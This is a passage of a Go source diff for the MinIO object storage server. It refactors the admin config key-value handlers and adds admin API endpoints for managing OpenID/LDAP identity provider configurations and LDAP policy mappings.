+	return toAPIError(ctx, fmt.Errorf("error importing %s from %s with: %w", entity, fname, err))
+}
+
+// wraps import error for more context
+func importErrorWithAPIErr(ctx context.Context, apiErr APIErrorCode, err error, fname, entity string) APIError {
+	if entity == "" {
+		return errorCodes.ToAPIErrWithErr(apiErr, fmt.Errorf("error importing %s with: %w", fname, err))
+	}
+	return errorCodes.ToAPIErrWithErr(apiErr, fmt.Errorf("error importing %s from %s with: %w", entity, fname, err))
+}
@@ -1,4 +1,4 @@
-// Copyright (c) 2015-2021 MinIO, Inc.
+// Copyright (c) 2015-2023 MinIO, Inc.
 //
 // This file is part of MinIO Object Storage stack
 //
@@ -26,8 +26,7 @@ import (
 	"strconv"
 	"strings"

-	"github.com/gorilla/mux"
-	"github.com/minio/madmin-go"
+	"github.com/minio/madmin-go/v2"
 	"github.com/minio/minio/internal/config"
 	"github.com/minio/minio/internal/config/cache"
 	"github.com/minio/minio/internal/config/etcd"
@@ -37,6 +36,7 @@ import (
 	polplugin "github.com/minio/minio/internal/config/policy/plugin"
 	"github.com/minio/minio/internal/config/storageclass"
 	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
 	iampolicy "github.com/minio/pkg/iam/policy"
 )

@@ -71,7 +71,7 @@ func (a adminAPIHandlers) DelConfigKVHandler(w http.ResponseWriter, r *http.Requ
 		return
 	}

-	cfg, err := readServerConfig(ctx, objectAPI)
+	cfg, err := readServerConfig(ctx, objectAPI, nil)
 	if err != nil {
 		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
@@ -81,6 +81,7 @@ func (a adminAPIHandlers) DelConfigKVHandler(w http.ResponseWriter, r *http.Requ
 		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
 	}
+
 	if err = validateConfig(cfg, subSys); err != nil {
 		writeCustomErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), err.Error(), r.URL)
 		return
@@ -91,6 +92,12 @@ func (a adminAPIHandlers) DelConfigKVHandler(w http.ResponseWriter, r *http.Requ
 		return
 	}

+	// freshly retrieve the config so that default values are loaded for reset config
+	if cfg, err = getValidConfig(objectAPI); err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
 	dynamic := config.SubSystemsDynamic.Contains(subSys)
 	if dynamic {
 		applyDynamic(ctx, objectAPI, cfg, subSys, r, w)
@@ -110,6 +117,26 @@ func applyDynamic(ctx context.Context, objectAPI ObjectLayer, cfg config.Config,
 	w.Header().Set(madmin.ConfigAppliedHeader, madmin.ConfigAppliedTrue)
 }

+type badConfigErr struct {
+	Err error
+}
+
+// Error - return the error message
+func (bce badConfigErr) Error() string {
+	return bce.Err.Error()
+}
+
+// Unwrap the error to its underlying error.
+func (bce badConfigErr) Unwrap() error {
+	return bce.Err
+}
+
+type setConfigResult struct {
+	Cfg     config.Config
+	SubSys  string
+	Dynamic bool
+}
+
 // SetConfigKVHandler - PUT /minio/admin/v3/set-config-kv
 func (a adminAPIHandlers) SetConfigKVHandler(w http.ResponseWriter, r *http.Request) {
 	ctx := newContext(r, w, "SetConfigKV")
@@ -135,48 +162,61 @@ func (a adminAPIHandlers) SetConfigKVHandler(w http.ResponseWriter, r *http.Requ
 		return
 	}

-	cfg, err := readServerConfig(ctx, objectAPI)
+	result, err := setConfigKV(ctx, objectAPI, kvBytes)
 	if err != nil {
-		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		switch err.(type) {
+		case badConfigErr:
+			writeCustomErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), err.Error(), r.URL)
+		default:
+			writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		}
 		return
 	}

-	dynamic, err := cfg.ReadConfig(bytes.NewReader(kvBytes))
+	if result.Dynamic {
+		applyDynamic(ctx, objectAPI, result.Cfg, result.SubSys, r, w)
+	}
+
+	writeSuccessResponseHeadersOnly(w)
+}
+
+func setConfigKV(ctx context.Context, objectAPI ObjectLayer, kvBytes []byte) (result setConfigResult, err error) {
+	result.Cfg, err = readServerConfig(ctx, objectAPI, nil)
 	if err != nil {
-		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
 	}

-	subSys, _, _, err := config.GetSubSys(string(kvBytes))
+	result.Dynamic, err = result.Cfg.ReadConfig(bytes.NewReader(kvBytes))
 	if err != nil {
-		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
 	}

-	if err = validateConfig(cfg, subSys); err != nil {
-		writeCustomErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), err.Error(), r.URL)
+	result.SubSys, _, _, err = config.GetSubSys(string(kvBytes))
+	if err != nil {
+		return
+	}
+
+	if verr := validateConfig(result.Cfg, result.SubSys); verr != nil {
+		err = badConfigErr{Err: verr}
 		return
 	}

 	// Update the actual server config on disk.
-	if err = saveServerConfig(ctx, objectAPI, cfg); err != nil {
-		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+	if err = saveServerConfig(ctx, objectAPI, result.Cfg); err != nil {
 		return
 	}

-	// Write to the config input KV to history.
-	if err = saveServerConfigHistory(ctx, objectAPI, kvBytes); err != nil {
-		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
-		return
-	}
-
-	if dynamic {
-		applyDynamic(ctx, objectAPI, cfg, subSys, r, w)
-	}
-	writeSuccessResponseHeadersOnly(w)
+	// Write the config input KV to history.
+	err = saveServerConfigHistory(ctx, objectAPI, kvBytes)
+	return
 }

 // GetConfigKVHandler - GET /minio/admin/v3/get-config-kv?key={key}
+//
+// `key` can be one of three forms:
+// 1. `subsys:target` -> request for config of a single subsystem and target pair.
+// 2. `subsys:` -> request for config of a single subsystem and the default target.
+// 3. `subsys` -> request for config of all targets for the given subsystem.
 func (a adminAPIHandlers) GetConfigKVHandler(w http.ResponseWriter, r *http.Request) {
 	ctx := newContext(r, w, "GetConfigKV")

@@ -189,15 +229,34 @@ func (a adminAPIHandlers) GetConfigKVHandler(w http.ResponseWriter, r *http.Requ

 	cfg := globalServerConfig.Clone()
 	vars := mux.Vars(r)
-	buf := &bytes.Buffer{}
-	cw := config.NewConfigWriteTo(cfg, vars["key"])
-	if _, err := cw.WriteTo(buf); err != nil {
+	key := vars["key"]
+
+	var subSys, target string
+	{
+		ws := strings.SplitN(key, madmin.SubSystemSeparator, 2)
+		subSys = ws[0]
+		if len(ws) == 2 {
+			if ws[1] == "" {
+				target = madmin.Default
+			} else {
+				target = ws[1]
+			}
+		}
+	}
+
+	subSysConfigs, err := cfg.GetSubsysInfo(subSys, target)
+	if err != nil {
 		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
 	}

+	var s strings.Builder
+	for _, subSysConfig := range subSysConfigs {
+		subSysConfig.WriteTo(&s, false)
+	}
+
 	password := cred.SecretKey
-	econfigData, err := madmin.EncryptData(password, buf.Bytes())
+	econfigData, err := madmin.EncryptData(password, []byte(s.String()))
 	if err != nil {
 		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
@@ -264,7 +323,7 @@ func (a adminAPIHandlers) RestoreConfigHistoryKVHandler(w http.ResponseWriter, r
 		return
 	}

-	cfg, err := readServerConfig(ctx, objectAPI)
+	cfg, err := readServerConfig(ctx, objectAPI, nil)
 	if err != nil {
 		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
 		return
@@ -422,47 +481,31 @@ func (a adminAPIHandlers) GetConfigHandler(w http.ResponseWriter, r *http.Reques

 	var s strings.Builder
 	hkvs := config.HelpSubSysMap[""]
-	var count int
 	for _, hkv := range hkvs {
-		count += len(cfg[hkv.Key])
-	}
-	for _, hkv := range hkvs {
-		v := cfg[hkv.Key]
-		for target, kv := range v {
-			off := kv.Get(config.Enable) == config.EnableOff
+		// We ignore the error below, as we cannot get one.
+		cfgSubsysItems, _ := cfg.GetSubsysInfo(hkv.Key, "")
+
+		for _, item := range cfgSubsysItems {
+			off := item.Config.Get(config.Enable) == config.EnableOff
 			switch hkv.Key {
 			case config.EtcdSubSys:
-				off = !etcd.Enabled(kv)
+				off = !etcd.Enabled(item.Config)
 			case config.CacheSubSys:
-				off = !cache.Enabled(kv)
+				off = !cache.Enabled(item.Config)
 			case config.StorageClassSubSys:
-				off = !storageclass.Enabled(kv)
+				off = !storageclass.Enabled(item.Config)
 			case config.PolicyPluginSubSys:
-				off = !polplugin.Enabled(kv)
+				off = !polplugin.Enabled(item.Config)
 			case config.IdentityOpenIDSubSys:
-				off = !openid.Enabled(kv)
+				off = !openid.Enabled(item.Config)
 			case config.IdentityLDAPSubSys:
-				off = !xldap.Enabled(kv)
+				off = !xldap.Enabled(item.Config)
 			case config.IdentityTLSSubSys:
 				off = !globalSTSTLSConfig.Enabled
 			case config.IdentityPluginSubSys:
-				off = !idplugin.Enabled(kv)
-			}
-			if off {
-				s.WriteString(config.KvComment)
-				s.WriteString(config.KvSpaceSeparator)
-			}
-			s.WriteString(hkv.Key)
-			if target != config.Default {
-				s.WriteString(config.SubSystemSeparator)
-				s.WriteString(target)
-			}
-			s.WriteString(config.KvSpaceSeparator)
-			s.WriteString(kv.String())
-			count--
-			if count > 0 {
-				s.WriteString(config.KvNewline)
+				off = !idplugin.Enabled(item.Config)
 			}
+			item.WriteTo(&s, off)
 		}
 	}

@@ -0,0 +1,438 @@
+// Copyright (c) 2015-2022 MinIO, Inc.
+//
+// This file is part of MinIO Object Storage stack
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU Affero General Public License for more details.
+//
+// You should have received a copy of the GNU Affero General Public License
+// along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+package cmd
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/minio-go/v7/pkg/set"
+	"github.com/minio/minio/internal/config"
+	cfgldap "github.com/minio/minio/internal/config/identity/ldap"
+	"github.com/minio/minio/internal/config/identity/openid"
+	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
+	iampolicy "github.com/minio/pkg/iam/policy"
+	"github.com/minio/pkg/ldap"
+)
+
+func (a adminAPIHandlers) addOrUpdateIDPHandler(ctx context.Context, w http.ResponseWriter, r *http.Request, isUpdate bool) {
+	objectAPI, cred := validateAdminReq(ctx, w, r, iampolicy.ConfigUpdateAdminAction)
+	if objectAPI == nil {
+		return
+	}
+
+	if r.ContentLength > maxEConfigJSONSize || r.ContentLength == -1 {
+		// More than maxConfigSize bytes were available
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigTooLarge), r.URL)
+		return
+	}
+
+	// Ensure body content type is opaque to ensure that request body has not
+	// been interpreted as form data.
+	contentType := r.Header.Get("Content-Type")
+	if contentType != "application/octet-stream" {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrBadRequest), r.URL)
+		return
+	}
+
+	password := cred.SecretKey
+	reqBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))
+	if err != nil {
+		logger.LogIf(ctx, err, logger.Application)
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)
+		return
+	}
+
+	idpCfgType := mux.Vars(r)["type"]
+	if !madmin.ValidIDPConfigTypes.Contains(idpCfgType) {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigInvalidIDPType), r.URL)
+		return
+	}
+
+	var subSys string
+	switch idpCfgType {
+	case madmin.OpenidIDPCfg:
+		subSys = madmin.IdentityOpenIDSubSys
+	case madmin.LDAPIDPCfg:
+		subSys = madmin.IdentityLDAPSubSys
+	}
+
+	cfgName := mux.Vars(r)["name"]
+	cfgTarget := madmin.Default
+	if cfgName != "" {
+		cfgTarget = cfgName
+		if idpCfgType == madmin.LDAPIDPCfg && cfgName != madmin.Default {
+			// LDAP does not support multiple configurations. So cfgName must be
+			// empty or `madmin.Default`.
+			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrBadRequest), r.URL)
+			return
+		}
+	}
+
+	// Check that this is a valid Create vs Update API call.
+	s := globalServerConfig.Clone()
+	if apiErrCode := handleCreateUpdateValidation(s, subSys, cfgTarget, isUpdate); apiErrCode != ErrNone {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(apiErrCode), r.URL)
+		return
+	}
+
+	cfgData := ""
+	{
+		tgtSuffix := ""
+		if cfgTarget != madmin.Default {
+			tgtSuffix = config.SubSystemSeparator + cfgTarget
+		}
+		cfgData = subSys + tgtSuffix + config.KvSpaceSeparator + string(reqBytes)
+	}
+
+	cfg, err := readServerConfig(ctx, objectAPI, nil)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	dynamic, err := cfg.ReadConfig(strings.NewReader(cfgData))
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	// IDP config is not dynamic. Sanity check.
+	if dynamic {
+		writeCustomErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInternalError), err.Error(), r.URL)
+		return
+	}
+
+	if err = validateConfig(cfg, subSys); err != nil {
+
+		var validationErr ldap.Validation
+		if errors.As(err, &validationErr) {
+			// If we got an LDAP validation error, we need to send appropriate
+			// error message back to client (likely mc).
+			writeCustomErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigLDAPValidation),
+				validationErr.FormatError(), r.URL)
+			return
+		}
+
+		writeCustomErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), err.Error(), r.URL)
+		return
+	}
+
+	// Update the actual server config on disk.
+	if err = saveServerConfig(ctx, objectAPI, cfg); err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	// Write to the config input KV to history.
+	if err = saveServerConfigHistory(ctx, objectAPI, []byte(cfgData)); err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	writeSuccessResponseHeadersOnly(w)
+}
+
+func handleCreateUpdateValidation(s config.Config, subSys, cfgTarget string, isUpdate bool) APIErrorCode {
+	if cfgTarget != madmin.Default {
+		// This cannot give an error at this point.
+		subSysTargets, _ := s.GetAvailableTargets(subSys)
+		subSysTargetsSet := set.CreateStringSet(subSysTargets...)
+		if isUpdate && !subSysTargetsSet.Contains(cfgTarget) {
+			return ErrAdminConfigIDPCfgNameDoesNotExist
+		}
+		if !isUpdate && subSysTargetsSet.Contains(cfgTarget) {
+			return ErrAdminConfigIDPCfgNameAlreadyExists
+		}
+
+		return ErrNone
+	}
+
+	// For the default configuration name, since it will always be an available
+	// target, we need to check if a configuration value has been set previously
+	// to figure out if this is a valid create or update API call.
+
+	// This cannot really error (FIXME: improve the type for GetConfigInfo)
+	var cfgInfos []madmin.IDPCfgInfo
+	switch subSys {
+	case madmin.IdentityOpenIDSubSys:
+		cfgInfos, _ = globalOpenIDConfig.GetConfigInfo(s, cfgTarget)
+	case madmin.IdentityLDAPSubSys:
+		cfgInfos, _ = globalLDAPConfig.GetConfigInfo(s, cfgTarget)
+	}
+
+	if len(cfgInfos) > 0 && !isUpdate {
+		return ErrAdminConfigIDPCfgNameAlreadyExists
+	}
+	if len(cfgInfos) == 0 && isUpdate {
+		return ErrAdminConfigIDPCfgNameDoesNotExist
+	}
+	return ErrNone
+}
+
+// AddIdentityProviderCfg: adds a new IDP config for openid/ldap.
+//
+// PUT <admin-prefix>/idp-cfg/openid/dex1 -> create named config `dex1`
+//
+// PUT <admin-prefix>/idp-cfg/openid/_ -> create (default) named config `_`
+func (a adminAPIHandlers) AddIdentityProviderCfg(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "AddIdentityProviderCfg")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	a.addOrUpdateIDPHandler(ctx, w, r, false)
+}
+
+// UpdateIdentityProviderCfg: updates an existing IDP config for openid/ldap.
+//
+// PATCH <admin-prefix>/idp-cfg/openid/dex1 -> update named config `dex1`
+//
+// PATCH <admin-prefix>/idp-cfg/openid/_ -> update (default) named config `_`
+func (a adminAPIHandlers) UpdateIdentityProviderCfg(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "UpdateIdentityProviderCfg")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	a.addOrUpdateIDPHandler(ctx, w, r, true)
+}
+
+// ListIdentityProviderCfg:
+//
+// GET <admin-prefix>/idp-cfg/openid -> lists openid provider configs.
+func (a adminAPIHandlers) ListIdentityProviderCfg(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "ListIdentityProviderCfg")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	objectAPI, cred := validateAdminReq(ctx, w, r, iampolicy.ConfigUpdateAdminAction)
+	if objectAPI == nil {
+		return
+	}
+	password := cred.SecretKey
+
+	idpCfgType := mux.Vars(r)["type"]
+	if !madmin.ValidIDPConfigTypes.Contains(idpCfgType) {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigInvalidIDPType), r.URL)
+		return
+	}
+
+	var cfgList []madmin.IDPListItem
+	var err error
+	switch idpCfgType {
+	case madmin.OpenidIDPCfg:
+		cfg := globalServerConfig.Clone()
+		cfgList, err = globalOpenIDConfig.GetConfigList(cfg)
+	case madmin.LDAPIDPCfg:
+		cfg := globalServerConfig.Clone()
+		cfgList, err = globalLDAPConfig.GetConfigList(cfg)
+
+	default:
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
+		return
+	}
+
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	data, err := json.Marshal(cfgList)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	econfigData, err := madmin.EncryptData(password, data)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	writeSuccessResponseJSON(w, econfigData)
+}
+
+// GetIdentityProviderCfg:
+//
+// GET <admin-prefix>/idp-cfg/openid/dex_test
+func (a adminAPIHandlers) GetIdentityProviderCfg(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "GetIdentityProviderCfg")
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	objectAPI, cred := validateAdminReq(ctx, w, r, iampolicy.ConfigUpdateAdminAction)
+	if objectAPI == nil {
+		return
+	}
+
+	idpCfgType := mux.Vars(r)["type"]
+	cfgName := mux.Vars(r)["name"]
+	password := cred.SecretKey
+
+	if !madmin.ValidIDPConfigTypes.Contains(idpCfgType) {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigInvalidIDPType), r.URL)
+		return
+	}
+
+	cfg := globalServerConfig.Clone()
+	var cfgInfos []madmin.IDPCfgInfo
+	var err error
+	switch idpCfgType {
+	case madmin.OpenidIDPCfg:
+		cfgInfos, err = globalOpenIDConfig.GetConfigInfo(cfg, cfgName)
+	case madmin.LDAPIDPCfg:
+		cfgInfos, err = globalLDAPConfig.GetConfigInfo(cfg, cfgName)
+	}
+	if err != nil {
+		if errors.Is(err, openid.ErrProviderConfigNotFound) || errors.Is(err, cfgldap.ErrProviderConfigNotFound) {
+			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminNoSuchConfigTarget), r.URL)
+			return
+		}
+
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	res := madmin.IDPConfig{
+		Type: idpCfgType,
+		Name: cfgName,
+		Info: cfgInfos,
+	}
+	data, err := json.Marshal(res)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	econfigData, err := madmin.EncryptData(password, data)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	writeSuccessResponseJSON(w, econfigData)
+}
+
+// DeleteIdentityProviderCfg:
+//
+// DELETE <admin-prefix>/idp-cfg/openid/dex_test
+func (a adminAPIHandlers) DeleteIdentityProviderCfg(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "DeleteIdentityProviderCfg")
+
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ConfigUpdateAdminAction)
+	if objectAPI == nil {
+		return
+	}
+
+	idpCfgType := mux.Vars(r)["type"]
+	cfgName := mux.Vars(r)["name"]
+	if !madmin.ValidIDPConfigTypes.Contains(idpCfgType) {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigInvalidIDPType), r.URL)
+		return
+	}
+
+	cfgCopy := globalServerConfig.Clone()
+	var subSys string
+	switch idpCfgType {
+	case madmin.OpenidIDPCfg:
+		subSys = config.IdentityOpenIDSubSys
+		cfgInfos, err := globalOpenIDConfig.GetConfigInfo(cfgCopy, cfgName)
+		if err != nil {
+			if errors.Is(err, openid.ErrProviderConfigNotFound) {
+				writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminNoSuchConfigTarget), r.URL)
+				return
+			}
+
+			writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+			return
+		}
+
+		hasEnv := false
+		for _, ci := range cfgInfos {
+			if ci.IsCfg && ci.IsEnv {
+				hasEnv = true
+				break
+			}
+		}
+
+		if hasEnv {
+			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigEnvOverridden), r.URL)
+			return
+		}
+	case madmin.LDAPIDPCfg:
+		subSys = config.IdentityLDAPSubSys
+		cfgInfos, err := globalLDAPConfig.GetConfigInfo(cfgCopy, cfgName)
+		if err != nil {
+			if errors.Is(err, openid.ErrProviderConfigNotFound) {
+				writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminNoSuchConfigTarget), r.URL)
+				return
+			}
+
+			writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+			return
+		}
+
+		hasEnv := false
+		for _, ci := range cfgInfos {
+			if ci.IsCfg && ci.IsEnv {
+				hasEnv = true
+				break
+			}
+		}
+
+		if hasEnv {
+			writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigEnvOverridden), r.URL)
+			return
+		}
+	default:
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrNotImplemented), r.URL)
+		return
+	}
+
+	cfg, err := readServerConfig(ctx, objectAPI, nil)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	cfgKey := fmt.Sprintf("%s:%s", subSys, cfgName)
+	if cfgName == madmin.Default {
+		cfgKey = subSys
+	}
+	if err = cfg.DelKVS(cfgKey); err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+	if err = validateConfig(cfg, subSys); err != nil {
+		writeCustomErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), err.Error(), r.URL)
+		return
+	}
+	if err = saveServerConfig(ctx, objectAPI, cfg); err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	dynamic := config.SubSystemsDynamic.Contains(subSys)
+	if dynamic {
+		applyDynamic(ctx, objectAPI, cfg, subSys, r, w)
+	}
+}
@@ -0,0 +1,181 @@
+// Copyright (c) 2015-2022 MinIO, Inc.
+//
+// This file is part of MinIO Object Storage stack
+//
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU Affero General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// This program is distributed in the hope that it will be useful
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU Affero General Public License for more details.
+//
+// You should have received a copy of the GNU Affero General Public License
+// along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+package cmd
+
+import (
+	"encoding/json"
+	"io"
+	"net/http"
+
+	"github.com/minio/madmin-go/v2"
+	"github.com/minio/minio/internal/logger"
+	"github.com/minio/mux"
+	iampolicy "github.com/minio/pkg/iam/policy"
+)
+
+// ListLDAPPolicyMappingEntities lists users/groups mapped to given/all policies.
+//
+// GET <admin-prefix>/idp/ldap/policy-entities?[query-params]
+//
+// Query params:
+//
+//	user=... -> repeatable query parameter, specifying users to query for
+//	policy mapping
+//
+//	group=... -> repeatable query parameter, specifying groups to query for
+//	policy mapping
+//
+//	policy=... -> repeatable query parameter, specifying policy to query for
+//	user/group mapping
+//
+// When all query parameters are omitted, returns mappings for all policies.
+func (a adminAPIHandlers) ListLDAPPolicyMappingEntities(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "ListLDAPPolicyMappingEntities")
+
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	// Check authorization.
+
+	objectAPI, cred := validateAdminReq(ctx, w, r,
+		iampolicy.ListGroupsAdminAction, iampolicy.ListUsersAdminAction, iampolicy.ListUserPoliciesAdminAction)
+	if objectAPI == nil {
+		return
+	}
+
+	// Validate API arguments.
+
+	q := madmin.PolicyEntitiesQuery{
+		Users:  r.Form["user"],
+		Groups: r.Form["group"],
+		Policy: r.Form["policy"],
+	}
+
+	// Query IAM
+
+	res, err := globalIAMSys.QueryLDAPPolicyEntities(r.Context(), q)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	// Encode result and send response.
+
+	data, err := json.Marshal(res)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+	password := cred.SecretKey
+	econfigData, err := madmin.EncryptData(password, data)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+	writeSuccessResponseJSON(w, econfigData)
+}
+
+// AttachDetachPolicyLDAP attaches or detaches policies from an LDAP entity
+// (user or group).
+//
+// POST <admin-prefix>/idp/ldap/policy/{operation}
+func (a adminAPIHandlers) AttachDetachPolicyLDAP(w http.ResponseWriter, r *http.Request) {
+	ctx := newContext(r, w, "AttachDetachPolicyLDAP")
+
+	defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
+
+	// Check authorization.
+
+	objectAPI, cred := validateAdminReq(ctx, w, r, iampolicy.UpdatePolicyAssociationAction)
+	if objectAPI == nil {
+		return
+	}
+
+	if r.ContentLength > maxEConfigJSONSize || r.ContentLength == -1 {
+		// More than maxConfigSize bytes were available
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigTooLarge), r.URL)
+		return
+	}
+
+	// Ensure body content type is opaque to ensure that request body has not
+	// been interpreted as form data.
+	contentType := r.Header.Get("Content-Type")
+	if contentType != "application/octet-stream" {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrBadRequest), r.URL)
+		return
+	}
+
+	// Validate operation
+	operation := mux.Vars(r)["operation"]
+	if operation != "attach" && operation != "detach" {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminInvalidArgument), r.URL)
+		return
+	}
+
+	isAttach := operation == "attach"
+
+	// Validate API arguments in body.
+	password := cred.SecretKey
+	reqBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))
+	if err != nil {
+		logger.LogIf(ctx, err, logger.Application)
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)
+		return
+	}
+
+	var par madmin.PolicyAssociationReq
+	err = json.Unmarshal(reqBytes, &par)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)
+		return
+	}
+
+	if err := par.IsValid(); err != nil {
+		writeErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)
+		return
+	}
+
+	// Call IAM subsystem
+	updatedAt, addedOrRemoved, err := globalIAMSys.PolicyDBUpdateLDAP(ctx, isAttach, par)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	respBody := madmin.PolicyAssociationResp{
+		UpdatedAt: updatedAt,
+	}
+	if isAttach {
+		respBody.PoliciesAttached = addedOrRemoved
+	} else {
+		respBody.PoliciesDetached = addedOrRemoved
+	}
+
+	data, err := json.Marshal(respBody)
+	if err != nil {
+		writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
+		return
+	}
+
+	encryptedData, err := madmin.EncryptData(password, data)
+	if err != nil {
